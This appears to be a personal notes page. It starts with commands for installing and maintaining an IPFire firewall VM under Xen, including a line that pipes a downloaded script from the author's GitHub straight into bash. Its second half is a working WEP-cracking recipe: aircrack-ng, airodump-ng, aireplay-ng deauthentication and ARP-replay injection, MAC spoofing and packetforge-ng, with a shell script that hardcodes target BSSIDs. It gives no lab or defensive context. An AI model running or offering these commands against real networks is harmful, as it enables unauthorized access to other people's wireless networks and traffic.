Create IPfire DomU (firewall)

Check for latest IPFire version
http://downloads.ipfire.org/

<?php
$URL="https://raw.githubusercontent.com/panticz/xen/master/domains/ipfire.sh";

echo "wget $URL -O - | bash -";
echo "<div><pre>";
</pre></div>

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $URL);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

echo htmlspecialchars(curl_exec($c));

curl_close($c);

echo "";

?>

# OPTIONAL
sed -i 's|phy:/dev/vg0/fw-|file:/root/ipfire-|g' /etc/xen/fw
sed -i 's|,xvda|.img,xvda|g' /etc/xen/fw
# configure ipfire in terminal
# webinterface

https://YOUR_DOMU_IP:444

# Links

http://wiki.ipfire.org/de/addons/virtualisation/howto/debian_wheezy_xen_4.1?&#debian_wheezy_mit_xen_41_als_dom0
http://wiki.ipfire.org/de/addons/virtualisation/howto/debian_als_dom0_xen#xen_und_kernel_installieren
http://wiki.ipfire.org/de/addons/virtualisation/howto/debian_xen_4.x

IpFire

http://wiki.ipfire.org/de/addons/net-snmp/start - SNMP Daemon for IpFire

Edit Cron jobs on IpFire
fcrontab -e
/etc/init.d/fcron restart

# force update dyndns every day

#9 2 * * 0 [ -f "/var/ipfire/red/active" ] && /usr/local/bin/setddns.pl -f
0 19 * * * [ -f "/var/ipfire/red/active" ] && /usr/local/bin/setddns.pl -f

Upgrade
pakfire update
pakfire upgrade

Install Addons
pakfire install -y iftop

Update XEN VM

mount /dev/vg1/fw-boot /mnt/
# add XEN boot entry in GRUB configuration
cat <<EOF>> /mnt/boot/grub/grub.conf

title IPFire (legacy XEN-Kernel 2.6.32.61)
kernel /vmlinuz-2.6.32.61-ipfire-xen root=UUID=2b205431-3429-45eb-a023-5d3b0cf55ddd panic=10 console=xvc0 ro
initrd /ipfirerd-2.6.32.61-xen.img
EOF

# copy kernel and initrd
cp /media/backup/daily.0/fw/boot/*2.6.32.61* /mnt/
umount  /mnt/
# copy kernel modules
mount /dev/vg1/fw-root /mnt/
cp -a /media/backup/daily.0/fw/lib/modules/2.6.32.61-ipfire-xen/ /mnt/lib/modules/
umount  /mnt/
# start vm

xm create -c fw

Update to beta

sed -i 's/2.13/2.15/g' /opt/pakfire/etc/pakfire.conf

pakfire update --force
pakfire upgrade

Links
http://wiki.ipfire.org/de/addons/start

wep

airmon-ng start wlan0 6
wesside-ng -i wlan0

#!/bin/sh

export BSSID=00:1A:4F:9A:6F:9D
export CHANNEL=11

rmmod ipw2200
modprobe ipw2200 rtap_iface=1
iwconfig eth1 mode managed channel $CHANNEL key s:password ap $BSSID
#ifconfig eth1 hw ether 00:a1:b2:c3:d4:e5

ifconfig eth1 up
ifconfig rtap0 up

#########
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
iwconfig eth1 ap $BSSID
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed

ifconfig eth1 hw ether 00:19:3E:00:3E:36

iwconfig eth1 channel $CHANNEL

ifconfig eth1 up
ifconfig rtap0 up

#########

xterm -e "airodump-ng --channel $CHANNEL --bssid $BSSID -w dumpfile rtap0" &
sleep 10
xterm -e "aireplay-ng --arpreplay -b $BSSID -h 00:0E:35:A3:23:F7 -i rtap0 eth1" &
sleep 210
xterm -e "aircrack-ng -0 -b $BSSID dumpfile*.cap; sleep 1d" &

exit 0

http://www.offensive-security.com/movies/bt3teaser/bt3teaser.html
http://backtrack.offensive-security.com/index.php?title=HCL:Wireless
http://www.aircrack-ng.org/doku.php?id=wesside-ng
http://aircrack-ng.org/doku.php?id=injection_test

# intel 4965

airmon-ng stop mon0
airmon-ng stop wlan0

killall NetworkManager
killall wpa_supplicant
killall dhclient3

airmon-ng start wlan0

# get open

xterm -e sudo airodump-ng -t opn mon0 &

# get wep

xterm -e airodump-ng -w wep.out -t wep mon0 &

# search key

xterm -e aircrack-ng wep*.cap &

# Links

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

# Hardware

TL-WN422G
TL-WN321G
AWUS036H

$ airmon-ng stop rausb0
$ ifconfig rausb0 down
$ macchanger --mac 00:11:22:33:44:55 rausb0
$ airmon-ng start rausb0
$ airodump-ng rausb0
find the bssid
copy the bssid
$ airodump-ng -c 1 -w output --bssid rausb0
$ aireplay -1 0 -a paste -h 00:11:22:33:44:55 rausb0
$ aireplay-ng -0 5 -a rausb0
$ aireplay-ng -4 -b -h 00:11:22:33:44:55 rausb0
answer yes and wait
$ packetforge-ng --arp -a -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y filename.xor -w arprequest
$ aireplay-ng -2 -r arprequest rausb0
say yes
$ aircrack-ng output-01.cap

network